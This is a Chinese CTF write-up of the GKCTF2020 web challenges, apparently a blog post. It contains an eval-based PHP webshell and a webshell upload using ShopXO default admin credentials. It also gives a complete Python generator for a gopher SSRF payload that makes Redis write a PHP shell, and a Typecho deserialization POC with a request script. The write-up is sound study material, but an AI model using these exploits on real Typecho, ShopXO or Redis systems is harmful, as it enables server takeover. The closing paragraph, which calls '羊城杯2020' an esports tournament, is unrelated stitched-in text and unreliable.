GKCTF2020WEB篇 wp

GKCTF2020 WEB wp

[GKCTF2020]CheckIN----bypass disable_functions

打开环境,审计代码

在这里插入图片描述

代码功能是需要传入Ginkgo参数,其值需要经过base64编码,后端再解码通过eval函数执行

这里直接构造一句话上传编码后的参数

eval($_POST[123]);---->ZXZhbCgkX1BPU1RbMTIzXSk7

在这里插入图片描述

直接通过连接中国蚁剑进入主目录查看flag

在这里插入图片描述但是并没有可读权限

在这里插入图片描述

但是会发现一个readflag文件

在这里插入图片描述

ELF可执行文件,应该是读取flag的文件,现在就是需要执行它
但是这里并不能执行并且禁用了大多函数

在这里插入图片描述需要bypass disable_functions执行/readflag,

网上有利用脚本,直接修改脚本的命令上传到强大的tmp目录下

在这里插入图片描述

在这里插入图片描述
通过文件包含使php执行

include('/tmp/exploit')base64编码之后传参即回显flag

在这里插入图片描述

[GKCTF2020]老八小超市儿----shopxo后台上传

打开环境是基于ShopXO的电商系统,网上搜一下很容易找到默认后台

在这里插入图片描述
默认密码为shopxo

登录成功后找到上传点如下:

在这里插入图片描述

在这里插入图片描述在上面下载默认主体然后在以下文件夹上传一句话,直接写入文件夹,因为等下也是要上传zip文件的

在这里插入图片描述访问http://9db2649b-284a-458e-9aa1-0ea003101c66.node3.buuoj.cn//public/static/index/default/3.php并没有报错说明现在可以用蚁剑连接了

在这里插入图片描述但是此时并不能直接拿到flag

在这里插入图片描述提示在根目录下但是/root无权访问说明肯定是要提权了

看一下auto.sh

在这里插入图片描述发现有python脚本在/var/mail/makeflaghint.py

而且发现flag.hint文件中的内容是有这里控制的应该有着root权限直接加一个读取flag的脚本

在这里插入图片描述

这里明显提示我们可以执行命令

在这里插入图片描述在这里插入图片描述稍等片刻flag就get了

[GKCTF2020]cve版签到----CVE-2020-7066%00截断

-在这里插入图片描述根据提示找到cve,我开始找错了居然找成了server的cve,叫什么Nginx/OpenResty内存泄漏/目录穿越漏洞

在这里插入图片描述开始没用头绪的时候抓包发现hint说是要本地然后结合CVE%00截断

在这里插入图片描述

然后又会提示必须以123结尾,那就123结尾嘛

在这里插入图片描述欧克 get!!!

[GKCTF2020]EZ三剑客-EzWeb----SSRF和redis5.X未授权漏洞

redis未授权漏洞复现

点击跳转redis4.X/5.X漏洞复现
在这里插入图片描述访问环境有提示访问?secret

在这里插入图片描述暴出ip,然后写个脚本做个内网探测看同网段是否有回显不同的,然后返回以下六个

在这里插入图片描述分别看了下发现173.170.206.11有回显提示

在这里插入图片描述

说明需要找到可突破的端口

在这里插入图片描述跟着那个简单的脚本添加一个常用端口号然后遍历最后得到6379端口回显不正常

这里就要利用redis的未授权访问通过gopher协议生成exp

from urllib import parse


#设置一系列变量协议、IP、端口、shell命令、文件以及路径、数据库命令以及payload
protocol="gopher://"
ip="173.107.52.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]




if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"


#将命令格式化输出
def redis_format(arr):
   CRLF="\r\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd


#编码生成exp
if __name__=="__main__":
   for x in cmd:
      payload += parse.quote(redis_format(x))
   print(payload)

然后通过get方式打过去再访问ip/shell.php就能getflag

在这里插入图片描述

[GKCTF2020]EZ三剑客-EzNode----Nodejs内置函数特性

在这里插入图片描述对Nodejs不是很熟,直接用大佬的脚本了

在这里插入图片描述

[GKCTF2020]EZ三剑客-EzTypecho----php反序列化

在这里插入图片描述拿到这个站是typecho的安装界面,直接百度typecho的漏洞就有好嘛----反序列化

在这里插入图片描述这里是相关代码,base64解码后进行反序列化。
然后漏洞分析这里讲的很清楚 https://www.freebuf.com/vuls/155753.html

反序列化复制给$ config
----实例化Typecho_db(其文件在html.zip\ html\ var\ Typecho\ db.php)

----其中对传入的$ adapterName进行了字符串拼接

----如果传入的是一个类将会触发__toString方法(把类当作字符串时触发)

----寻找到Feed这个类中的__toString() 魔术方法,访问了$ item[‘author’]->screenName

----当$ item[‘author’]->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法(用于从不可访问数据读取数据)

----寻找输出点利用__get方法

利用条件:

1、$_GET[‘finish’] 参数不为空
2、Referer 必须是本站

<?php 
$CMD = 'cat /flag'; 
class Typecho_Feed { 
    const RSS2 = 'RSS 2.0'; 
    const ATOM1 = 'ATOM 1.0'; 
    private $_type; 
    private $_items; 
    public function __construct() { 
    //$this->_type = $this::RSS2; 
        $this->_type = $this::ATOM1; 
        $this->_items[0] = array( 
            'category' => array(new Typecho_Request()), 
            'author' => new Typecho_Request(), 
        ); 
    } 
} 
class Typecho_Request { 
    private $_params = array(); 
    private $_filter = array(); 
    public function __construct() { 
        $this->_params['screenName'] = $GLOBALS[CMD]; 
        $this->_filter[0] = 'assert';
    } 
} 
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' );
echo base64_encode(serialize($exp)); 
?>
import requests
url='http://54393664-a656-4761-8793-d851f6fbd293.node3.buuoj.cn/install.php?finish=1'
files={'file':123}


headers={
#__typecho_config为序列化的内容
'cookie':'PHPSESSID=test; __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',




'Referer':'http://54393664-a656-4761-8793-d851f6fbd293.node3.buuoj.cn/install.php'
        }


re=requests.post(url, files=files, headers=headers, data= {"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)

在这里插入图片描述poc构造经过base64编码的内容,然后在cookie里作为__typecho_config的值上传,以及post一个和PHP_SESSION_UOLOAD_PROGRESS的同名变量,返回网页源代码得到flag

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
羊城杯2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城杯聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城杯2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城杯2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城杯2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城杯2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城杯2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值